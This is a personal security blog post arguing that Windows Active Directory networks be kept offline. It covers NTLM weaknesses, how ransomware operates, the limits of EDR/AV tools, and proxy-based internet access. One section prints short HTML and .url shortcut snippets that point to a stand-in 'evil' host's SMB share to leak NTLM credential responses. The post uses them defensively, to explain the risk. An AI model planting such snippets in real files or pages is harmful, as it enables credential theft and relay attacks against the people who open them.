October 5, 2025 | 06:00
Reading-Time: ca. 7 Min

Why Every Windows AD Should Be Kept Offline

Not only since my seven security tips¹ have I been getting questions about why I prefer to keep Windows and an Active Directory² offline. That may sound inflexible, and in an era of AI-generated cybersecurity slop³ I may look like an outsider.

So in today’s blog post I provide more context, explain the technical background, and lay out how ransomware works. Finally, I show how an AD operated offline can still be used with the internet and email as usual.

Contextualization

Firstly a few words for better orientation with statements most will agree with:

A single technical measure is rarely the solution to a larger, complex problem.
All technical measures inherently have flaws and add complexity, which increases risks and the attack surface.

We are dealing with the so-called Swiss cheese model, first described scientifically by James Reason⁴ when analyzing aviation accidents. Many years ago, I wrote about this on the neighboring blog.⁵

James Reason’s layered Swiss-cheese model

Applied to IT this means: A measure such as an offline kept AD is only one protective layer. Taken on its own it’s only quite effective. The benefit of risk reduction arises only in combination with other protective and independent layers. So that a trajectory of accident opportunity does not punch through the protective layers as shown in the sketch.

These layers can also be non-technical in nature for example: Standard operation procedures (SOP) saying that all administrative interventions must be conducted in combination with tickets. Perfectly sufficient and accepted for audit trails.⁶

Application whitelisting and antivirus programs are examples of technical protective layers, more on these later.

The structural problem in every Windows

It’s in the nature of things that an IT system performs authentication when accessing a resource. Put simply, modern systems exchange cryptographic keys in the background so that users do not have to re-enter their credentials every time.

Microsoft Windows attempts to perform this key exchange in newer versions using the relatively secure Kerberos protocol⁷. With misconfiguration or older systems, however, a protocol downgrade⁸ can occur and NTLM⁹ in its various versions continues to be accepted.

NTLM is old. Nomen est omen: It’s the successor of the 1980s LAN Manager¹⁰ for the NT platform¹¹ and has been considered insecure since the late 1990s.¹² The problem has been known for decades and is structurally present in all Windows versions.

Microsoft does recommend disabling NTLM or at least reducing it.¹³ Unfortunately, the GPO and registry settings for this remain disabled by default on every server to this day.¹⁴ The “holy cow of backward compatibility”, which I already discussed in another blog post¹⁵, leaves operators behind.¹⁶ Numerous legacy programs and services buried deep in Windows behind all the fancy UI still continue to communicate using NTLM.¹⁷

There is also the aggravating fact that in practice you find hardly a network without older machines. Disabling NTLM would block file exchange with these. My saddest find so far: In 2021 I found a NT4 Workstation on an industrial site.¹⁸

Windows NT Workstation in 2021

Exfiltration of NTLM keys

Why is NTLM so dangerous today? Just one example makes it clear how NTLM keys can be easily extracted and nowadays decrypted even online.¹⁹ Any resource embedded in HTML that points to an SMB share causes a Windows system to disclose its keys (NTLM response):

<!DOCTYPE html>
<html>
  <head></head>
  <body>
    <img src="file://\\ip-or-dns-evil-host\share\dummy.png">
  </body>
</html>

It gets even more trivial in Windows Explorer shortcuts:

[InternetShortcut]
URL=https://wellknown-host
IconIndex=0
IconFile=\\ip-or-dns-evil-host\leak\leak.ico

When uncontrolled communication to the internet is possible, Windows willingly shares its keys.²⁰ Telekom and other ISPs have blocked outbound SMB port 445 in the consumer segment since WannaCry,²¹ but not in business tariffs and even less does that bother an attacker. For years, rogue servers²² have collected keys directly on affected machines and forwarded them for further poisoning, pass-the-hash, or relay attacks.²³ As shown in the screenshot below, a simple “dir” is needed:

Exfiltrating NTLM with a simple dir command to a UNC share

Windows doesn’t lose its keys only through SMB port 445. Microsoft has always been very creative when it comes to expanding the attack surface by softening protocol boundaries. Over the years numerous SMB features and authentication options have been added. SMB Direct²⁴ or SMB over QUIC on UDP 443²⁵ come to mind first. Depending on IIS configuration on any Exchange or RDS terminal server, authentication can also occur via TCP 443 or, if an admin isn’t careful, even unencrypted via TCP 80 using BasicAuth²⁶.

How Ransomware Works

Ransomware attacks can be broken down into two fundamental intermediate objectives:

Execution of administrative tools and executables
Establishing a communication channel

This quickly makes it clear how essential Application Whitelisting²⁷ and an offline AD are. Application Whitelisting prevents the execution of a captured dropper.²⁸ Taking the AD offline prevents the download of the payload,²⁹ often a reverse shell³⁰ for communication with one or more command-and-control hosts (C&C) on the internet.³¹

If an attacker achieves only one of the two objectives, the attack fizzles out and remains limited to individual machines that can easily be replaced or cleaned up.

The reverse situation means victory for the attacker. The following steps present little difficulty in typical Windows AD scenarios:

Privilege escalation and persistence
Lateral movement
Data exfiltration for extortion
Manipulation or destruction of backups
Encryption

As a reference, I like to point to the publicly available incident report on the ransomware case at SIT in South Westphalia,³² still the largest infrastructure incident in the Federal Republic of Germany.³³

But We Have EDR/AV Software

Time, creativity, expertise, and technical resources are almost unlimited for attackers, while defenders usually struggle with limited means. Three trends I’ve personally observed in recent years:

Attackers mostly use Windows built-in tools.
Executables are compiled “on-site” on the target computer.
EDR/AV software³⁴ is ineffective.³⁵

My Clipboard Auditor so far never has been detected or blocked as malware.³⁶ That doesn’t mean it’s particularly good. No EDR/AV in the past decade has ever managed to detect any new ransomware wave and protection cannot be scientifically verified:³⁷

Quite alarmingly, we illustrate that no EDR can efficiently detect and prevent the four attack vectors we deployed.

There are also fundamental, Microsoft-typical implementation flaws.³⁸ Since the CrowdStrike incident,³⁹ it should be clear that EDR/AV itself poses a security risk and that marketing promises rendered meaningless in the EULA.⁴⁰

To go forward without EDR/AV software is difficult. Therefore, for a fully offline AD, the Defender built into every Windows system is sufficient. It helps with compliance and keeps costs and the SBOM⁴¹ low.

Offline Yet Online?

Keeping an AD offline does not mean users cannot work. Proxy servers have provided controlled access to the internet for decades.⁴² The details are:

Web browsers must not write their settings into Windows system settings.
Proxy servers must not have SSO/ NTLM/ Kerberos integration.
Proxy settings in both the system and web browser must not be changeable by users.

Microsoft Edge, due to its deep integration with the underlying Windows, is a total failure here. Instead, Mozilla Firefox⁴³ is used, with its ADMX group policy templates.⁴⁴

Mozilla Firefox on a terminal server in an offline AD

Email clients are even simpler. There’s hardly anything to configure if they connect to a groupware server or mail gateway⁴⁵ within the local network.

If the mail server is outside the organization, it’s sufficient to register the host with its handful egress⁴⁶ ports in the enterprise firewall.

And because Microsoft has been gradually making WSUS⁴⁷ worse over time,⁴⁸ internal GitOps update pipelines can keep the AD up to date. What I described for “digital twins” last year also applies here.⁴⁹

The major advantage of an offline-operated system: the “update pressure” and attack surface are significantly reduced.

The second major advantage: You become more independent from vendor’s product decisions and lifecycles.

Let’s be honest, everyone should be aware that locally operated AD infrastructures have no future at Microsoft. Those who don’t want to follow the path into the Azure AI cloud, and there are good reasons not to, should use the remaining time wisely to realign technology stacks and infrastructures.

I’m happy to help with advice and practical support.

With that in mind,
Yours,
Tomas Jakobs

Support this blog - Donate a Coffee

October 5, 2025 | 06:00Reading-Time: ca. 7 Min